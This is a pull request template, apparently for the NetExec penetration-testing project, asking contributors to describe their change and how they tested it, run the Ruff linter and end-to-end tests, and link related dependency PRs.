## Description
|
||||
|
||||
Please include a summary of the change and which issue is fixed, or what the enhancement does.
|
||||
Please also include relevant motivation and context.
|
||||
List any dependencies that are required for this change.
|
||||
|
||||
## Type of change
|
||||
Please delete options that are not relevant.
|
||||
- [ ] Bug fix (non-breaking change which fixes an issue)
|
||||
- [ ] New feature (non-breaking change which adds functionality)
|
||||
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
|
||||
- [ ] This change requires a documentation update
|
||||
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
|
||||
|
||||
## How Has This Been Tested?
|
||||
Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
|
||||
Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
|
||||
|
||||
If you are using poetry, you can easily run tests via:
|
||||
`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
|
||||
There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
|
||||
|
||||
## Screenshots (if appropriate):
|
||||
Screenshots are always nice to have and can give a visual representation of the change.
|
||||
If appropriate include before and after screenshot(s) to show which results are to be expected.
|
||||
|
||||
## Checklist:
|
||||
|
||||
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
|
||||
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
|
||||
- [ ] New and existing e2e tests pass locally with my changes
|
||||
- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
|
||||
- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
|
||||
- [ ] I have performed a self-review of my own code
|
||||
- [ ] I have commented my code, particularly in hard-to-understand areas
|
||||
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
